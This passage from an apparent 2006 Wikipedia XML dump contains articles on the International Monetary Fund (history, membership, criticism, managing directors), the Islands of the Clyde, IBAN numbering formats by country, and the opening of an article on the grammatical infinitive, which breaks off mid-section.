The IMF describes itself as &quot;an organization of 184 countries, working to foster global monetary cooperation, secure financial stability, facilitate international trade, promote high employment and sustainable economic growth, and reduce poverty&quot;. With the exception of  [[North Korea]], [[Cuba]], [[Liechtenstein]], [[Andorra]], [[Monaco]], [[Tuvalu]] and [[Nauru]], all UN member states either participate directly in the IMF or are represented by other member states.

In the 1930s, as economic activity in the major industrial countries dwindled, countries started adopting [[mercantilist]] practices, attempting to defend their economies by increasing restrictions on imports.  To conserve dwindling reserves of gold and foreign exchange, some countries curtailed foreign imports, some devalued their currencies, and some introduced complicated restrictions on foreign exchange accounts held by their citizens. These measures were arguably detrimental to the countries themselves as the [[David Ricardo|Ricardian]] [[comparative advantage]] states that everyone gains from trade without restrictions.  It is noteworthy to mention that, although the &quot;size of the pie&quot; is enhanced according to this theory of free trade, when distributional concerns are taken into account, there are always industries that benefit while others lose out.  World trade declined sharply, as did [[employment]] and [[living standards]] in many countries.

As [[World War II]] came to a close, the leading allied countries considered various plans to restore order to international monetary relations, and at the [[Bretton Woods]] conference the IMF emerged. The founding members drafted a charter (or Articles of Agreement) of an international institution to oversee the international monetary system and to promote both the elimination of exchange restrictions relating to trade in goods and services, and the stability of exchange rates.

The IMF came into existence in December 1945, when the first 29 countries signed its Articles of Agreement.  The statutory purposes of the IMF today are the same as when they were formulated in 1944 (see Box 2). From the end of World War II until the late-1970s, the capitalist world experienced unprecedented growth in [[real income]]s. (Since then, [[China]]'s integration into the capitalist system has added substantially to the growth of the system.) Within the capitalist system, the benefits of growth have not flowed equally to all (either within or among nations) but most capitalist countries have seen recent increases in prosperity that contrast starkly with the conditions within capitalist countries during the interwar period.  The lack of a recurring global depression is likely due to improvements in the conduct of international economic policies that have encouraged the growth of international trade and helped smooth the economic cycle of boom and bust.

In the decades since World War II, apart from rising prosperity, the world economy and monetary system have undergone other major changes that have increased the importance and relevance of the purposes served by the IMF, but that has also required the IMF to adapt and reform. Rapid advances in technology and communications have contributed to the increasing international integration of markets and to closer linkages among national economies. As a result, financial crises, when they erupt, now tend to spread more rapidly among countries.

The IMF's influence in the global economy steadily increased as it accumulated more members. The number of IMF member countries has more than quadrupled from the 44 states involved in its establishment, reflecting in particular the attainment of political independence by many developing countries and more recently the collapse of the Soviet bloc.  The expansion of the IMF's membership, together with the changes in the world economy, have required the IMF to adapt in a variety of ways to continue serving its purposes effectively.

== History == 
Agreement for the creation of the International Monetary Fund came at the [[United Nations Monetary and Financial Conference]]{{mn|footnote_1|1}} in [[Bretton Woods, New Hampshire]], [[United States]], on [[July 22]], [[1944]]. The principal architects of the IMF at the conference were British economist [[John Maynard Keynes]] and the chief international economist at the [[United States Department of the Treasury|US Treasury Department]], [[Harry Dexter White]]. The [[Articles of Agreement]]{{mn|footnote_2|2}} came into force on [[December 27]], [[1945]], the organization came into existence on [[May 1]], [[1946]], as part of a post-[[World War II|WWII]] reconstruction plan, and it began financial operations on [[March 1]], [[1947]].

It is sometimes referred to as &quot;a Bretton Woods institution&quot;, along with the [[International Bank for Reconstruction and Development]] (now part of the larger [[World Bank Group]]).

== Membership qualifications ==
A country may apply for membership of the IMF. The application will be considered, first, by the IMF's Executive Board. After its consideration, the Executive Board will submit a report to the Board of Governors of the IMF with recommendations in the form of a &quot;Membership Resolution.&quot; These recommendations cover the amount of [[quota]] in the IMF, the form of payment of the [http://www.imf.org/external/pubs/ft/aa/aa03.htm#1 subscription], and other customary terms and conditions of membership. After the Board of Governors has adopted the &quot;Membership Resolution,&quot; the applicant state needs to take the legal steps required under its own law to enable it to sign the IMF's Articles of Agreement and to fulfill the obligations of IMF membership. 

A member's quota in the IMF determines the amount of its subscription, its voting weight, its access to IMF financing, and its allocation of [[Special Drawing Rights|SDR]]s.

== Assistance and reforms ==
Part of its mission has become to provide assistance to countries that experience serious economic difficulties. Member states with [[balance of payments]] problems may request loans and/or organizational management of their national economies. In return, the countries are obliged to launch certain [[structural adjustment program|reforms]], an example of which is the &quot;[[Washington Consensus]]&quot;.

==Criticism ==   
The role of the two Bretton Woods institutions has been controversial to many since the late [[Cold War]] period. Critics claim that IMF policy makers deliberately supported capitalistic [[military dictatorship]]s friendly to American and European [[corporation]]s. Critics also claim that the IMF is generally [[apathetic]] or hostile to their views of [[democracy]], [[human rights]], and [[labor rights]].  These criticisms generated a controversy that helped spark the [[anti-globalization movement]]. Others claim the IMF has little power to democratize sovereign states, nor is that its stated objective: to advise and promote financial stability. Arguments in favor of the IMF say that economic stability is a precursor to democracy.

Two criticisms from economists have been that financial aid is always bound to so-called &quot;[[Conditionalities]]&quot;, including [[Structural Adjustment Program]]s. Conditionalities, it is claimed, retard social stability and hence inhibit the stated goals of the IMF.
   
Typically the IMF and its supporters advocate a [[Keynesian economics|Keynesian]] approach. As such, adherents of [[supply-side economics]] generally find themselves in open disagreement with the IMF. The IMF frequently advocates currency [[devaluation]], criticized by proponents of supply-side economics as [[inflation|inflationary]]. Secondly they link higher taxes under &quot;[[austerity]] programmes&quot; with [[economic contraction]].

Currency devaluation is recommended by the IMF to the governments of poor nations with struggling economies. Supply-side economists claim these Keynesian IMF policies are destructive to economic prosperity, although many other economists disagree.  

Complaints are also directed toward [[International Monetary Fund gold reserve]] being undervalued. At its inception in 1945, the IMF pegged gold at 35 dollars per [[troy weight|Troy ounce]] of gold. In 1973 the Nixon administration lifted the fixed asset value of gold in favour of a world market price.  Hence the fixed exchange rates of currencies tied to gold were switched to a [[floating rate]], also based on market price and exchange. This largely came about because ''[[Petrodollar]]s'' outside the United States were more than could be backed by the gold at [[Fort Knox]] under the fixed exchange rate system. The fixed rate system only served to limit the amount of assistance the organization could use to help debt-ridden countries.

That said, the IMF sometimes advocates &quot;austerity programmes,&quot; increasing [[tax|taxes]] even when the economy is weak, in order to generate government revenue and balance [[budget deficit]]s, which is the opposite of Keynesian policy. These policies were criticised by [[Joseph E. Stiglitz]], former chief economist at the World Bank, in his book [[Globalization and Its Discontents]]. He argued that by converting to a more Monetarist approach, the fund no longer had a valid purpose, as it was designed to provide funds for countries to carry out Keynesian reflations.

Most [[Alter-globalization|altermondialists]], like [[ATTAC]], believe that IMF interventions aggravate the [[poverty]] and [[debt]] of [[Third world|Third World]] and [[Developing nation|developing countries]]. According to the analysis by [[Yves Engler]], the IMF is considered to be responsible for worsening or actually creating [[famine]] in [[Malawi]] ([[2002]]), [[Ethiopia]] ([[2003]]) and [[Niger]] ([[2005]]). [http://www.zmag.org/content/showarticle.cfm?SectionID=2&amp;ItemID=8494]
   
Opposition to the IMF is often fragmented. For instance, advocates of supply-side economics would generally regard the policies advocated by ATTAC to be little different in form to the ideas peddled by the IMF. In other words, they would see ATTAC ''tax-and-spend'' policies and the IMF's austerity policies as being fundamentally similar.   
   
[[Argentina]], which had been considered by the IMF to be a model country in its compliance to policy proposals by the Bretton Woods institutions, experienced a catastrophic economic crisis in [[2001]], generally believed to have been caused by IMF-induced budget restrictions &amp;mdash; which undercut the government's ability to sustain national infrastructure even in crucial areas such as health, education, and security &amp;mdash; and [[privatization]] of strategically vital national resources. The crisis added to widespread hatred of this institution in Argentina and other South American countries, with many blaming the IMF for the region's economic problems [http://www.serendipity.li/hr/imf_and_dollar_system.htm]. The current &amp;mdash; as of early 2006 &amp;mdash; trend towards moderate left-wing governments in the region and a growing concern with the development of a regional economic policy largely independent of big business pressures has been ascribed to this crisis. 

Another example of where IMF Structural Adjustment Programmes aggravated the problem was in [[Kenya]]. Before IMF got involved in the country, the Kenya central bank oversaw all currency movement in and out of the country. IMF mandated that Kenya central bank had to allow easier currency movement. However, the adjustment resulted in very little foreign investment, but allowed [[Kamlesh Manusuklal Damji Pattni]], with the help of corrupt government officials, to syphon out billions of Kenya shillings in what came to be known as the [[Goldenberg scandal]], leaving the country in a state worse than that which it was in before the IMF reforms were implemented.

That the IMF intervenes only in countries that experience years of dire economic conditions has certainly hurt its reputation.  The financial collapses it intervenes in are products of uneven capitalist development sometimes exacerbated by government mismanagement, but mismanagement is often cited by rich nations as the source of the financial crises.  These collapses tend to lead to years of economic difficulty that can be addressed in various ways, but IMF Stuctural Adjustment Policies consistently serve to open up or &quot;liberalize&quot; economies to foreign capital rather than provide for economic recovery through statist policies such as government financed projects to achieve full employment.  Thus, IMF policies further the notion that economic development in underdeveloped countries is dependent on attracting foreign investment rather than through a state-managed approach centered on full employment and progressive taxation.  It is also true that politicians have used the IMF as an easy target for blame when they themselves have erred, using nationalism to gain easy political points.

Overall the IMF success record is limited.  While it was created to help stabilize the global economy, since 1980 over 100 countries have experienced a banking collapse that reduced GDP by four percent or more --  far more than at any previous time in history.  The considerable delay in IMF response to a crisis, and the fact that it tends to only respond to rather than prevent them, has led many economists to argue for reform.

Whatever the feelings people in the Western world have for the IMF, research by the [[Pew Research Center]] shows that more than 60 percent of Asians and 70 percent of Africans feel that the IMF and the [[World Bank]] have a ''positive'' effect on their country [http://people-press.org/reports/pdf/185topline.pdf]. Such research has made proponents of IMF claim the IMF-critique misleading, as it would be difficult to speak of suffering if the sufferers don't feel hurt.

The documentary [[Life and Debt]] deals with the IMF's policies' influence on [[Jamaica]] and its economy, from a critical point of view.
.

== Past managing directors ==   
An unwritten rule establishes that the IMF's managing director must be European and that the president of the World Bank must be from the [[United States]]. Executive Directors, who confirm the managing director are voted in by Finance Ministers from countries they represent. 

The IMF is for the most part controlled by the major Western Powers, with voting rights on the Executive board based on a quota derived from a monetary stake in the institution. Rarely does the board vote and pass issues contradicting the will of the US or Europeans. There have been some exceptions in the past. Dr. [[Mohamed Finaish]] from [[Libya]], the Executive Director representing the majority of the Arab World and [[Pakistan]], was a tireless defender of the developing nations' rights at the IMF.  He stood steadfast in his beliefs and principles for fourteen years until his defeat in the 1992 elections to an Egyptian IMF Staff Member.  

&lt;table border=0 cellspacing=0 cellpadding=0&gt;
&lt;tr valign=top&gt;&lt;td&gt;'''Dates'''&lt;hr&gt;&lt;/td&gt;&lt;td rowspan=12&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;td&gt;'''Name'''&lt;hr&gt;&lt;/td&gt;&lt;td rowspan=12&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;td&gt;'''Country'''&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=top&gt;&lt;td&gt;[[May 6]], [[1946]] - [[May 5]], [[1951]]&lt;td&gt;[[Camille Gutt]]&lt;td&gt;[[Belgium]]&lt;/tr&gt;   
&lt;tr valign=top&gt;&lt;td&gt;[[August 3]], [[1951]] - [[October 3]], [[1956]]&lt;td&gt;[[Ivar Rooth]]&lt;td&gt;[[Sweden]]&lt;/tr&gt;   
&lt;tr valign=top&gt;&lt;td&gt;[[November 21]], [[1956]] - [[May 5]], [[1963]]&lt;td&gt;[[Per Jacobsson]]&lt;td&gt;[[Sweden]]&lt;/tr&gt;   
&lt;tr valign=top&gt;&lt;td&gt;[[September 1]], [[1963]] - [[August 31]], [[1973]]&lt;td&gt;[[Pierre-Paul Schweitzer]]&lt;td&gt;[[France]]&lt;/tr&gt;   
&lt;tr valign=top&gt;&lt;td&gt;[[September 1]], [[1973]] - [[June 16]], [[1978]]&lt;td&gt;[[Johannes Witteveen]]&lt;td&gt;[[Netherlands]]&lt;/tr&gt;   
&lt;tr valign=top&gt;&lt;td&gt;[[June 17]], [[1978]] - [[January 15]], [[1987]]&lt;td&gt;[[Jacques de Larosière]]&lt;td&gt;[[France]]&lt;/tr&gt;   
&lt;tr valign=top&gt;&lt;td&gt;[[January 16]], [[1987]] - [[February 14]], [[2000]]&lt;td&gt;[[Michel Camdessus]]&lt;td&gt;[[France]]&lt;/tr&gt;      
&lt;tr valign=top&gt;&lt;td&gt;[[May 1]], [[2000]] - [[March 4]], [[2004]]&lt;td&gt;[[Horst Köhler]]&lt;td&gt;[[Germany]]&lt;/tr&gt;   
&lt;tr valign=top&gt;&lt;td&gt;[[June 7]], [[2004]] - present&lt;td&gt;[[Rodrigo de Rato]]&lt;td&gt;[[Spain]]&lt;/tr&gt;&lt;/table&gt;

==Footnotes==
* {{mnb|footnote_1|The [[United Nations]] was at the time only a wartime alliance, not yet an international organization}}
* {{mnb|footnote_2| [http://www.imf.org/external/pubs/ft/aa/index.htm Articles of Agreement of the International Monetary Fund] }}

== See also ==
* [[Bretton Woods Institutions]]
* [[Economics]]   
* [[Bank for International Settlements]]   
* [[Organisation for Economic Co-operation and Development]]
* [[Special Drawing Rights]]   
* [[World Bank]]
* [[Globalization and Its Discontents]]
* [[Bancor]]
* [[Development aid]]

== External links ==   
* [http://www.imf.org International Monetary Fund website]
* [http://www.augustreview.com/index.php?module=pagesetter&amp;func=viewpub&amp;tid=4&amp;pid=10 Global Banking: The International Monetary Fund]
* [http://www.imf.org/external/pubs/ft/fandd/index.htm Finance &amp;amp; Development - A quarterly magazine of the IMF]
* [http://www.imf.org/external/pubs/ft/ar/ Annual Reports of the Executive Board]
* [http://www.imf.org/external/pubs/ft/weo/weorepts.htm World Economic Outlook Reports]
* [http://www.imf.org/external/pubind.htm IMF Publications]
* [http://www.economist.com/opinion/displayStory.cfm?story_id=2941379 Kenneth Rogoff - The sisters at 60]
* How the IMF Props Up the Dollar System [http://www.serendipity.li/hr/imf_and_dollar_system.htm]
* [http://web.gc.cuny.edu/eusc/activities/paper/schwartz.htm ''IMF&amp;#8217;s Origins as a Blueprint for Its Future'', Anna J. Schwartz, National Bureau of Economic Research]

== References ==   
*{{ cite book | title=[http://www.fondad.org/publications/helpingpoor/contents.htm Helping the Poor? The IMF and Low-Income Countries]| author=Jan Joost Teunissen and Age Akkerman (eds.)| year=2005 | publisher=FONDAD | id=ISBN-10: 90-74208-25-8}}
*{{ cite book | title=[http://econwpa.wustl.edu/eps/if/papers/0207/0207003.pdf The Development and Implementation of IMF and World Bank Conditionality]| author=Axel Dreher | year=2002 | publisher=HWWA | id=ISSN 16164814}}
* Dreher, Axel (2004), A Public  Choice Perspective of IMF and World Bank Lending and Conditionality, ''Public Choice'' 119, 3-4: 445-464.
*Dreher, Axel (2004), The Influence of IMF Programs on the Re-election of Debtor Governments, ''Economics &amp; Politics'' 16, 1: 53-75
*Dreher, Axel (2003), The Influence of Elections on IMF Programme Interruptions, ''The Journal of Development Studies'' 39,6: 101-120.
* ''[[The Best Democracy Money Can Buy]]'' by [[Greg Palast]] ([[2002]])
* The IMF and The World Bank: How do they differ?[http://www.imf.org/external/pubs/ft/exrp/differ/differ.htm] by David D. Driscoll

[[Category:International organizations]]
[[Category:International economics]]
[[Category:International Monetary Fund]]

[[bg:Международен валутен фонд]]
[[ca:Fons Monetari Internacional]]
[[cs:Mezinárodní měnový fond]]
[[da:Internationale Valutafond]]
[[de:Internationaler Währungsfonds]]
[[et:Rahvusvaheline Valuutafond]]
[[es:Fondo Monetario Internacional]]
[[eo:Internacia Mona Fonduso]]
[[fr:Fonds monétaire international]]
[[ko:국제통화기금]]
[[id:Dana Moneter Internasional]]
[[it:Fondo Monetario Internazionale]]
[[he:קרן המטבע הבינלאומית]]
[[ka:საერთაშორისო სავალუტო ფონდი]]
[[lt:Tarptautinis Valiutos Fondas]]
[[hu:IMF]]
[[mk:Меѓународен Монетарен Фонд]]
[[nl:Internationaal Monetair Fonds]]
[[ja:国際通貨基金]]
[[no:Det internasjonale pengefondet]]
[[nn:Det internasjonale pengefondet]]
[[pl:Międzynarodowy Fundusz Walutowy]]
[[pt:Fundo Monetário Internacional]]
[[ro:Fondul Monetar Internaţional]]
[[ru:Международный валютный фонд]]
[[sk:Medzinárodný menový fond]]
[[sr:Међународни монетарни фонд]]
[[sv:Internationella valutafonden]]
[[th:กองทุนการเงินระหว่างประเทศ]]
[[uk:Міжнародний валютний фонд]]
[[zh:國際貨幣基金]]</text>
    </revision>
  </page>
  <page>
    <title>Islands of the Clyde</title>
    <id>15252</id>
    <revision>
      <id>38603230</id>
      <timestamp>2006-02-07T11:48:56Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Islands of the lower Firth of Clyde]] to [[Islands of the Clyde]]: shorter title, as proposed on talk page without objections</comment>
      <text xml:space="preserve">[[image:Islands of the lower Firth of Clyde.PNG|thumb|Map showing location of the islands]]

The '''Islands of the lower Firth of Clyde''' is the smallest of the three major [[Scotland|Scottish]] island groups after the [[Hebrides]] and the [[Northern Isles]].

The islands are situated in [[Scotland]] in the [[Firth of Clyde]] between [[Ayrshire]] and [[Argyll]]. They include:
[[image:Holy_Isle_from_North.JPG|thumb|'''Holy Isle''' seen from '''Bute''']]
[[image:Lady_Isle.jpg|thumb|'''Lady Isle''' with '''Ailsa Craig''' beyond]]
*[[Ailsa Craig]]
*[[Isle of Arran|Arran]]
*[[Burnt Islands|The Burnt Islands]]
***Eilean Mór
***Eilean Fraoich
***Eilean Buidhe
*[[Isle of Bute|Bute]]
*[[Davaar]]
*[[Eilean Dearg, Loch Riddon|Eilean Dearg]]
*[[Eilean Dubh, Kyles of Bute|Eilean Dubh]]
*[[Glunimore Island]]
*[[Great Cumbrae]]
*[[Holy Isle, Firth of Clyde|Holy Isle]]
*[[Horse Isle]]
*[[Inchmarnock]]
*[[Lady Isle]]
*[[Little Cumbrae]]
*[[Pladda]]
*[[Sanda, Scotland|Sanda]]
*[[Sgat Mór and Sgat Beag]]
*[[Sheep Island, Argyll and Bute|Sheep Island]]
*[[The Eileans]]

'''Arran''', '''Bute''', '''Great Cumbrae''', '''Holy Isle''' and '''Inchmarnock''' are all inhabited and are serviced by dedicated ferry routes.  '''Little Cumbrae''' and '''Sanda''' are also inhabited but without ferry services.  The rest of the islands are uninhabited.

The majority of the islands at one time made up the [[traditional county]] of [[Bute]]. Today the islands are split more or less equally between the modern unitary authorities of [[Argyll and Bute]] and [[North Ayrshire]] with only '''Ailsa Craig''' and '''Lady Isle''' falling outwith these two areas in [[South Ayrshire]].
[[image:The_Cumbraes.jpg|left|thumb|400px|[[The Cumbraes]] with '''Arran''' and '''Bute''' beyond]]
&lt;br&gt;
==See also== [[Hebrides]], [[Northern Isles]]

[[Category:Islands of the Clyde]]
[[Category:Lists of islands]]</text>
    </revision>
  </page>
  <page>
    <title>International Bank Account Number</title>
    <id>15253</id>
    <revision>
      <id>41442437</id>
      <timestamp>2006-02-27T09:42:10Z</timestamp>
      <contributor>
        <ip>193.170.62.242</ip>
      </contributor>
      <comment>adding Hungary</comment>
      <text xml:space="preserve">The '''International Bank Account Number''' ('''IBAN''') is an international standard for numbering bank accounts. It was originally adopted by the [[European Committee for Banking Standards]], and was later adopted as [[ISO 13616]]:[[1997]]. The IBAN consists of a two letter [[ISO 3166-1]] [[country code]], followed by two check digits, and up to thirty alphanumeric characters for the domestic bank account number, called the BBAN (Basic Bank Account Number). It is up to each country's national banking community to decide on the length of the BBAN for accounts in that country, but its length must be fixed for any given country. A unique identifying code for the bank, of a fixed length and at a fixed position, is required to be contained in the BBAN. However, it is left up to the national banking communities to determine its length and position within the BBAN, so long as it is constant for each country.

When stored electronically, the IBAN is not to be broken up by spaces; but when printed on paper, it is to be expressed in groups of four characters, with the last group of variable length.

The IBAN was developed to help improve the payments system within the European Union. Customers, especially individuals and [[Small and Medium-sized Enterprise|SME]]s, are frequently confused by differing national standards for bank account numbers. While the system is capable of being used for routing purposes, it cannot at present be used to do so since the IBAN has not been widely adopted outside of Europe, and the ECBS expects that the process of adoption may take five to ten years. Until then, it is necessary to continue to use the current [[ISO 9362]] [[Bank Identifier Code]] or BIC system in conjunction with the IBAN in order to ensure proper routing.

===Examples=== &lt;!-- sorted by the name of the country --&gt;
*[[Austria|Austrian]] IBAN format: ATkk BBBB BCCC CCCC CCCC
::The Bs represent the [[bank code]] and the Cs the account number.
*[[Belgium|Belgian]] IBAN format: BEkk CCCC CCCC CCCC
::The last 12 digits represent the bank and account number.
*[[United Kingdom|British]] IBAN format: GBkk BBBB SSSS SSCC CCCC CC
::The four character bank designation is alphabetical, the next six characters are a [[Sort Code]] (often a specific branch) and the remaining characters are the customer account number.
*[[Czech Republic|Czech]] IBAN format: CZkk BBBB CCCC CCCC CCCC CCCC
::The Bs represent the [[bank code]] and the Cs the acount number.
*[[Denmark|Danish]] IBAN format: DKkk CCCC CCCC CCCC CC
::The last 14 digits represent the bank and account number.
*[[Finland|Finnish]] IBAN format: FIkk BBBB BBCC CCCC CK
::The Bs represent the bank code, branch number and account type, Cs represent the account number, and the final K is the check digit of the Finnish account numbering scheme.
*[[France|French]] IBAN format: FRkk BBBB BGGG GGCC CCCC CCCC CKK
::The Bs represent the [[bank code]], the Gs are the [[branch code|code guichet]]
*[[Germany|German]] IBAN format: DEkk BBBB BBBB CCCC CCCC CC
::The first eight digits are the [[bank code]] and the last 10 digits an account.
*[[Hungary|Hungarian]] IBAN format: HUkk CCCC CCCC CCCC CCCC [CCCC CCCC]
::The 16 or 24 digits represent the account number which already contains the [[bank code]] in the first three digits.
*[[Iceland|Icelandic]] IBAN format: ISkk BBBB CCCC CCCC XXXX XXXX XX
::The first 4-digit group represents the [[bank code]], the next two 4-digit goups represent the account and the last ten digits are the account holder's unique ID number, issued by the Bureau of Statistics.
*[[Ireland|Irish]] IBAN format: IEkk AAAA BBBB BBCC CCCC CC
::The first 4 alphanumeric characters are the start of the SWIFT code. Then a 6 digit long [[sort code|routing code]] and an 8 digit account code follow, both numeric.
*[[Italy|Italian]] IBAN format: ITkk BBBB BBBB BBBX XXXX XXXX XXX
::The first 11 alphanumeric characters represent the bank, the last 12 digits the account.
*[[Latvia|Latvian]] IBAN format: LVkk BBBB CCCC CCCC CCCC C
::The first two letters (LV) means Latvia, next is 2 control digits, after bank's [[SWIFT]] code, next is account individual number (which can include both letters and numbers).
*[[Netherlands|Dutch]] IBAN format: NLkk BBBB CCCC CCCC CC
::The first 4 alphanumeric characters represent a bank and the last 10 digits an account.
*[[Norway|Norwegian]] IBAN format: NOkk BBBB CC CCCCC
::The first 4 alphanumeric characters represent a bank and the last 7 digits an account.
*[[Poland|Polish]] IBAN format: PLkk BBBB BBBB MMMM MMMM MMMM MMMM
::The first 8 digits are the bank-branch code and the last 16 are the account number. Within the bank-branch code, the first 3 or 4 digits represent the bank, the next 4 or 3 - the branch, and the last one is the check digit.
*[[Romania|Romanian]] IBAN format: ROkk BBBB CCCC CCCC CCCC CCCC
::The first 4 alphanumeric characters represent the bank; according to a rule established by the Romanian National Bank, the BBBB code must be the same with the first 4 characters of the [[Bank_Identifier_Code|bank's identifier code]]. The last 16 represent the specific bank branch and an account, combined any way the bank decides (typically the first 4 among the 16 identify the branch). Some banks include the [[ISO 4217]] currency identifier somewhere in the account name.
*[[Slovenia|Slovenian]] IBAN format: SIkk BB BBB CCCCCCCC KK
::The first 2 BB digits represent a bank, the next 3 - the branch. The last 2 digits (KK) are the check digits. IBAN check digits (kk) for Slovenia are 5 and 6.
*[[Spain|Spanish]] IBAN format: ESkk BBBB GGGG KKCC CCCC CCCC
*[[Sweden|Swedish]] IBAN format: SEkk BBBB CCCC CCCC CCCC CCCC
::The Bs represent the bank code and the Cs the account number.
*[[Turkey|Turkish]] IBAN format: TRkk BBBB BRCC CCCC CCCC CCCC CC
::The total number of alphanumeric characters including the country code and the check digits is 26. The first 5 digits represent a bank. The next alphanumeric character, reserved for future use, is set to zero. The following 16 alphanumeric characters represent the specific bank branch and an account. The issuing start date of the Turkish IBAN was [[September 1]], [[2005]] [http://www.tbb.org.tr/IBAN.htm].

==See also==
* [[ISO 9362|Bank Identifier Code]] (BIC)
* [[Bank Identification Number]] (BIN)
* [[Online banking]]

==External links==
*[http://www.ecbs.org/iban/iban.htm ECBS IBAN page]
*[http://www.ecbs.org/Download/EBS204_V3.2.PDF ECBS IBAN standard v. 3.2]
*A free [http://www.iban-rechner.de/ IBAN calculator and validator] (for German, Austrian and Belgian banks)
*A free [http://www.xe.com/idt/ IBAN decoder] (for all countries)
*[http://swissiban.com IBAN used in Switzerland]
*[http://www.europebanks.info/ibanguide.htm Excellent Guide on IBAN Account Numbers and Payments in Europe]
*[http://kernel.umbrella.ro/us/ A LGPL program (source available) for IBAN validation]

[[Category:Banking terms and equipment]]
[[Category:ISO standards]]
[[Category:Identifiers]]

[[de:International Bank Account Number]]
[[es:International Bank Account Number]]
[[fr:ISO 13616]]
[[lt:IBAN]]
[[nl:IBAN]]
[[pl:IBAN]]
[[sv:IBAN]]
[[sk:Medzinárodné bankové číslo účtu]]</text>
    </revision>
  </page>
  <page>
    <title>Infinitive</title>
    <id>15254</id>
    <revision>
      <id>40809977</id>
      <timestamp>2006-02-23T03:57:12Z</timestamp>
      <contributor>
        <username>Velho</username>
        <id>158002</id>
      </contributor>
      <minor />
      <comment>/* Defective verbs */  readding link</comment>
      <text xml:space="preserve">In [[grammar]], the '''infinitive''' is the form of a [[verb]] that has no [[inflection]] to indicate [[Grammatical person|person]], [[Grammatical number|number]], [[grammatical mood|mood]] or [[grammatical tense|tense]].  It is called the &quot;infinitive&quot; because the verb is usually not made &quot;[[finite verb|finite]]&quot;, or limited by inflection.  In some [[language]]s, however, there are inflected forms of the infinitive denoting attributes such as tense, person and number. It happens for example in [[Portuguese language|Portuguese]]. There are languages that do not have infinitives at all, for example [[Arabic language|Arabic]], [[Bulgarian language|Bulgarian]] and [[Modern Greek]]. In some languages the infinitive can be construed as a [[verbal noun]].

The infinitive is often used as the &quot;[[citation form]]&quot;, as for many languages this is the basic [[lemma (linguistics)|lemma]] form of a verb which is usually presented in dictionaries.  In language classes, children are sometimes taught to think of it as the &quot;name&quot; of the verb.

==Infinitives in English==

[[English language|English]] has three non-finite verbal forms, but by long-standing convention, the term &quot;infinitive&quot; is applied to only one of these. (The other two are the past- and present-[[participle]] forms, where the present-participle form is also the [[gerund]] form.) In English, a verb's infinitive is its unmarked form, such as &quot;be,&quot; &quot;do,&quot; &quot;have,&quot; or &quot;sit,&quot; often introduced by the [[grammatical particle|particle]] &quot;to.&quot; When this particle is absent, the infinitive is said to be a ''bare infinitive''; when it is present, it is generally considered to be a part of the infinitive, then known as the ''full infinitive'' (or ''to-infinitive''), and some grammarians hold that it should not be separated from the main word of the infinitive. (''See'' [[split infinitive]].)

While many other languages, including French and German, use prepositions before the infinitive in much the same way English does (''de faire, zu tun''), grammarians of those languages do not construe the prepositions as part of the infinitive.  To this extent, the concept of the full infinitive, though not the construction itself, is uniquely English. &lt;!-- I'm not so sure. Hebrew has something very similar; both &quot;daber&quot; and &quot;l'daber&quot; - &quot;speak&quot; and &quot;to speak&quot; are commonly considered infinitives. --&gt;

The bare infinitive and the full infinitive are not generally interchangeable, but the distinction does not generally affect the meaning of a sentence; rather, certain contexts call almost exclusively for the bare infinitive, and all other contexts call for the to-infinitive.

===Uses of the bare infinitive===

The bare infinitive is used in a rather limited number of contexts, but some of these are quite common:

*The bare infinitive is used as the [[main verb]] after the dummy auxiliary verb ''do'', or any [[modal auxiliary verb]] (such as ''will'', ''can'', or ''should''), except that ''ought'' usually takes a to-infinitive. So, &quot;I will/do/can/etc. '''see''' it.&quot;
*Several common verbs of perception, including ''see'', ''watch'', ''hear'', ''feel'', and ''sense'' take a direct object and a bare infinitive, where the bare infinitive indicates an action taken by the main verb's direct object. So, &quot;I saw/watched/heard/etc. it '''happen'''.&quot; (A similar meaning can be effected by using the present participle instead: &quot;I saw/watched/heard/etc. it '''happening'''.&quot; The difference is that the former implies that the entirety of the event was perceived, while the latter implies that part of the progress of the event was perceived.)
*Similarly with several common verbs of permission or causation, including ''make'', ''bid'', ''let'', and ''have''. So, &quot;I made/bade/let/had him '''do''' it.&quot; (However, ''make'' takes a to-infinitive in the passive voice: &quot;I was made '''to do''' it.&quot;)
*The bare infinitive is the dictionary form of a verb, and is generally the form of a verb that receives a definition; however, the definition itself generally uses a to-infinitive. So, &quot;The word &amp;#39;'''amble'''&amp;#39; means 'to walk slowly.'&quot;
*The bare infinitive form is also the present [[subjunctive mood|subjunctive]] form and the [[imperative mood|imperative]] form, although most grammarians do not consider uses of the present subjunctive or imperative to be uses of the bare infinitive.

===Uses of the full infinitive===

The full infinitive (or to-infinitive) is used in a great many different contexts:

*Apart from in dictionary lemmata, the full infinitive is the most commonly used [[citation form]] of the English verb: &quot;How do we conjugate the verb ''to go''?&quot;
*It can serve as an ordinary noun, expressing its action or state in an abstract, general way. So, &quot;'''To be''' is '''to do'''.&quot; (A [[gerund]] can also be used for this: &quot;'''Being''' is '''doing'''.&quot;)
*It can serve as an adjective or adverb, expressing purpose or intent. So, &quot;He is &lt;nowiki&gt;[supposed]&lt;/nowiki&gt; '''to die''' at noon,&quot; or &quot;&lt;nowiki&gt;[In order]&lt;/nowiki&gt; '''to meditate''', one must free one's mind.&quot;
*In either of the above uses, it can often be given a subject using the preposition ''for'': &quot;'''For him to fail now''' would be a great disappointment&quot;; &quot;&lt;nowiki&gt;[In order]&lt;/nowiki&gt; '''for you to get there on time''', you'll need to leave now.&quot; (The former sentence could also be written, &quot;His failing now would be a great disappointment.&quot;)
*It can be used after many intransitive verbs; in this case, it generally has the subject of the main verb as its implicit subject. So, &quot;I agreed '''to leave''',&quot; or &quot;He failed '''to make''' his case.&quot; (This may be considered a special case of the noun use above.)
*It can be used after the direct objects of many transitive verbs; in this case, it generally has the direct object of the main verb as its implicit subject. So, &quot;I convinced him '''to leave''' with me,&quot; or &quot;He asked her '''to make''' his case on his behalf.&quot;
*As a special case of the above, it can often be used after an intransitive verb, together with a subject using the preposition ''for'': &quot;I arranged '''for him to accompany''' me,&quot; or &quot;I waited '''for summer to arrive'''.&quot;

When the verb is implied, some dialects will reduce the to-infinitive to simply ''to'': &quot;Do I have '''to'''?&quot;

===The infinitive with auxiliary verbs===

